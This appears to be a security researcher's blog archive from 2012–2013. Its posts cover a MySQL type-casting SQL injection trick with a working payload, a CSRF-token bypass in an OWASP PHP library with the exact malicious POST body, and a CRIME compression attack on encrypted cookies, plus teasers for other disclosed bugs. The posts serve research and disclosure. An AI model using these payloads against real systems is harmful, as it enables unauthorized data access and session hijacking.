Friday, January 11, 2013

Abusing MySQL string arithmetic for tiny SQL injections

Today I've found a small nifty trick that may become helpful when exploiting SQL injection vulnerabilities for MySQL. Namely, you can abuse MySQL string typecasting.

But first, let's look at this:

MySQL, what are you doing?

mysql> desc t;
+-------+-------------+------+-----+---------+-------+
| Field | Type        | Null | Key | Default | Extra |
+-------+-------------+------+-----+---------+-------+
| name  | varchar(20) | YES  |     | NULL    |       |
| num   | int(11)     | YES  |     | NULL    |       |
+-------+-------------+------+-----+---------+-------+
2 rows in set (0.11 sec)
mysql> select * from t;
+--------+------+
| name   | num  |
+--------+------+
| nazwa  |    3 |
| second |    4 |
+--------+------+
2 rows in set (0.00 sec)
mysql> select * from t where name='';
Empty set (0.00 sec)
mysql> select * from t where name=''-'';
+--------+------+
| name   | num  |
+--------+------+
| nazwa  |    3 |
| second |    4 |
+--------+------+
2 rows in set, 2 warnings (0.00 sec)
WTF just happened? Warnings clear up the situation a little bit:
mysql> show warnings;
+---------+------+--------------------------------------------+
| Level   | Code | Message                                    |
+---------+------+--------------------------------------------+
| Warning | 1292 | Truncated incorrect DOUBLE value: 'nazwa'  |
| Warning | 1292 | Truncated incorrect DOUBLE value: 'second' |
+---------+------+--------------------------------------------+
2 rows in set (0.00 sec)
Minus operator used on strings converted them to DOUBLE, a numeric value. What's the result of this statement?
mysql> select ''-'';
+-------+
| ''-'' |
+-------+
|     0 |
+-------+
So for each row the 'name' column was compared to 0. That triggerred another type conversion and, with a warning, for each row the effective value was 0, which satisfied the WHERE condition (0 = ''-'').

The SQL injection part

How can the attacker abuse this quirk? Imagine that you:
  • have a limited character set (e.g. no whitespace, no equals sign, no parenthesis, no letters) or small length available,
  • vulnerable query SELECT secret FROM table WHERE secret='$injection' AND another>5 AND ... .that needs to return at least one row,
  • and you don't know the values for the secret column (they're not easily enumerable),
Simple payload: '-''# will turn that query into:
SELECT secret FROM table WHERE fld=''-''# AND .....
and will return all rows (apart from those that match /^-?[0-9]/)

You can use the same trick with ''+'', ''&'',''^'' and ''*''. Beware though:
mysql> select 1 from dual where 'something' = ''/'';
Empty set, 1 warning (0.00 sec)

mysql> select 1 from dual where 'something' = ''/1;
+---+
| 1 |
+---+
| 1 |
+---+
1 row in set, 1 warning (0.00 sec)
Another trick would be to simply compare a string column to ''-0:
mysql> select * from t where name=''-0;
+--------+------+
| name   | num  |
+--------+------+
| nazwa  |    3 |
| second |    4 |
+--------+------+
2 rows in set, 2 warnings (0.00 sec)

The tricks mentioned here were tested on MySQL 5.5 and 5.1, but should work in older versions too.

And that's all folks. For all your SQL injection techniques, I highly recommend The SQL injection reference by Roberto Salgado. It helped me numerous times and is in my opinion the best reference on SQLi ever made.

Friday, December 7, 2012

On handling your pets and a CSRF protection that wasn't

Security is hard. While security-related issues are fun and challenging subject for many - fun enough for them to take part in various CTFs, crackmes etc, it's usually not the first thing a developer cares for. Yes, they do have other priorities. That's why usually leaving a developer with a task of writing security-related code results in either:

Look what I found, ma!

Using libraries though is like bringing a pet home. Sure, it's cute and all, but you should be responsible for it from now on. That means you should:
  1. Care for it day after day (= keep libraries up to date).
  2. Observe it. If it's sick, go to a vet (= monitor for security vulnerabilities discovered).
  3. Accept that it's a part of the family now (= treat it with as much scrutiny as your own code).
Whatever you're bringing into your codebase, wherever it came from - it's your responsibility now. No matter if it's a snippet found in a forum, a github.com hosted library used by a few dozen people or a project used for many years and extensively tested. It may have a security vulnerability, it may be used insecurely, it may not be a right tool for a task. Be skeptical.

The code allmighty

There are no sacred cows. Any code is just that - a piece of instructions made by humans, with a certain possibility of having errors, some of that security related. And every human makes mistakes, some of them catastrophic.

Let me give you an example - OWASP PHP CSRF Guard - a small library for enriching your PHP application with CSRF protection. Similar to what OWASP CSRFGuard does for Java applications. This small library is presented in Open Web Application Security Project wiki, so it must be secure.....Right?

No. No sacred cows, remember? Take a look:
if (!isset($_POST['CSRFName']))
{
 trigger_error("No CSRFName found, probable invalid request.",E_USER_ERROR);  
} 
$name =$_POST['CSRFName'];
$token=$_POST['CSRFToken'];
if (!csrfguard_validate_token($name, $token))
{ 
 trigger_error("Invalid CSRF token.",E_USER_ERROR);
}
Application uses separate tokens for every form. Upon form submission, it gets form id (CSRFName) and appropriate token (CSRFToken) from POST request and calls csrf_validate_token(). So far so good. Let's dig deeper though.
function csrfguard_validate_token($unique_form_name,$token_value)
{
 $token=get_from_session($unique_form_name);
 if ($token===false)
 {
  return true;
 }
 elseif ($token==$token_value)
 {
  $result=true;
 }
 else
 { 
  $result=false;
 } 
 unset_session($unique_form_name);
 return $result;
}
Function retrieves the token for a form id from session (get_from_session). Function returning false is some exception, let's skip that. Then token value from POST is compared to its session equivalent. Looks ok. But..
function get_from_session($key)
{
 if (isset($_SESSION))
 {
  return $_SESSION[$key];
 }
 else {  return false; } //no session data, no CSRF risk
}
What happens if there is no such $key in $_SESSION? null will be returned. So, retrieving a token for non-existent form id will return null.

Guess what? In PHPnull == "". So, submitting this:
CSRFName=CSRFGuard_idontexist&CSRFToken=&input1=value1&input2=value2....
in your POST request will call:
csrfguard_validate_token('CSRFGuard_idontexist', '') // and then
$token = get_from_session('CSRFGuard_idontexist') = null; // => 
$token_value = ''; // => 
$token_value == $token; // =>
return true;
Total CSRF protection bypass. No sacred cows. Of course, the code in OWASP wiki has been fixed now.

Developers, remember: Do not blindly include libraries, even OWASP ones, without testing them, especially for security errors. If you can't do it - there are other people who can ( ^-^ ). After all, even if it's adopted, it's part of the family now.

Friday, November 9, 2012

Keys to a kingdom - can you crack a JS crypto?

I've posted a small, quick challenge for all of you to try. It's got it all - HTML5, crypto, client-side Javascript, fast action, neat dialogues and a beautiful princess.

It can be solved in multiple ways. Even if you've already beaten it - try doing it another way. I can promise that you'll learn something new along the way.

So, without further ado, I present to you:


Good luck!

Friday, September 28, 2012

Owning a system through a Chrome extension - cr-gpg 0.7.4 vulns

tldr; read all. fun stuff.

I've recently shown a few ways one can abuse certain Chrome extensions. For example it is possible to fingerprint all the extensions current user has installed. Also, they suffer from standard web vulnerabilities. XSS is so common that I've built XSS Chef to assist the exploitation. Together with @theKos we ran workshops on exploiting Chrome extensions.

But the most interesting vulnerabilities may be hidden in the code of plugins (NPAPI .dll, .so files) that are sometimes bundled with extensions. These are binary files that run outside of Google Chrome sandboxes. Plugin functions are of course being called from extensions Javascript code. So, through XSS one could exploit e.g. a buffer overflow, use-after-free and, theoretically, hijack OS user account.

The threat isn't theoretical though. I was able to find a chain of vulnerabilities in cr-gpg extension which handles PGP encryption/decryption from within Gmail interface. Funny thing - the exact same vulnerabilities were reported independently by Gynvael Coldwind - great finds, Gynvael! All reported issues below were present in 0.7.4 version and are fixed in >=0.8.2.

Tuesday, September 11, 2012

If it's a CRIME, then I'm guilty

tldr: see bottom for the script that demonstrates what CRIME might do.

A secret crime 

Juliano Rizzo and Thai Duong did it again. Their new attack on SSL called CRIME, just like their previous one, BEAST is able to extract cookie values (to perform a session hijack) from SSL/TLS encrypted sessions. BEAST was a chosen plaintext attack and generally required:
  • Man-in-the-middle (attacker monitors all encrypted traffic)
  • Encrypted connection to attacked domain (e.g. victim uses https://mybank.com ) with cookies
  • Adaptive Javascript code able to send POST requests to attacked domain
Javascript code tried bruteforcing the cookie value character-by-character. The m-i-t-m component was observing the ciphertext, looking for differences, and once it found one, it communicated with the Javascript to proceed to next character.

CRIME should be similar:
By running JavaScript code in the browser of the victim and sniffing HTTPS traffic, we can decrypt session cookies," Rizzo told Threatpost. "We don't need to use any browser plugin and we use JavaScript to make the attack faster, but in theory we could do it with static HTML. (source)
but the details are not yet known, they are to be released later this month at Ekoparty.

However, there are already speculations on what could the attack rely on. In fact, Thomas Pornin at security.stackexchange.com have most likely figured it out correctly. The hypothesis is that Rizzo and Duong abuse data compression within the encrypted connection. It's likely as e.g. Chromium disabled TLS compression recently.

Compression-based leakage

Thanks to Cross Origin Resource Sharing it is possible (and easy) for JS to send POST request with arbitrary body cross domain. One has limited control over request headers though - e.g. the cookie header will be either attached in full or not at all (it's not possible to set cookies cross-domain). But, the attacker can construct request that looks like this:
POST / HTTP/1.1
Host: thebankserver.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1
Accept: */*
Cookie: secret=XS8b1MWZ0QEKJtM1t+QCofRpCsT2u
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

POST / HTTP/1.1
Host: thebankserver.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1
Accept: */*
Cookie: secret=?

To put it simply, in the POST body we're duplicating part of POST headers. This should compress very nicely. We would know most of the header values (from browser fingerprinting, navigator object etc.), only the cookie value is unknown.

But, we can bruteforce the first character of the cookie by including it in the POST body (we have no control over headers) after the secret= string. By observing the compressed ciphertext length (man in the middle) for all such requests we should be able to spot the difference in one of them. The ciphertext would be shorter due to better compression (longer string occured twice in the request). Then, communicate with JS to proceed to next character and the process continues until the whole cookie value is bruteforced.

That's the theory, at least.

PoC or didn't happen !

There's no time to repeat the whole man-in-the-middle, adaptive JS, encrypted connection set up, so xorninja wrote a script to check the length of zlib deflated HTTP request strings and deduce the cookie values from there. It didn't work, so I've modified the code by adding an adaptive algorithm (encryption length does not always change, sometimes you have to also mutate the POST body to be certain of a character value etc.)

And it works.
Proof of concept can bruteforce the cookie value based on zlib deflated string length only. Cookies can be of arbitrary lengths.

So, what next?

This PoC would have to be included in the whole SSL/mitm/Javascript BEAST-like context so we can check if it actually works in browsers and leaks real-life cookies. Feel free to experiment. I'm waiting for the actual CRIME disclosure.

Friday, August 24, 2012

Hack In Paris talk and future events

Videos of recent Hack In Paris 2012 conference have just been published, among those there is a recording of my talk: "HTML5 - something wicked this way comes":



With accompanying slides:



Plans for next few months:
  • BruCON (24-25.09, Ghent, Belgium) - Kyle 'Kos' Osborn & Krzysztof Kotowicz - Advanced Chrome Extension Exploitation
  • Security BSides (12-14.10, Warsaw, Poland) - I’m in your browser, pwning your stuff: Atakowanie poprzez rozszerzenia Google Chrome
  • Secure 2012 (22-24.10, Warsaw, Poland) - Atakowanie przy użyciu HTML5 w praktyce
And a few neat exploits in the queue, waiting to be released ;)

Friday, August 17, 2012

How Facebook lacked X-Frame-Options and what I did with it

In September 2011 I've discovered a vulnerability that allows attacker to partially take control over victim's Facebook account. Vulnerability allowed, among other things, to send status updates on behalf of user and send friend requests to attackers' controlled Facebook account. The vulnerability has been responsibly disclosed as part of Facebook Security Bug Bounty program and is now fixed.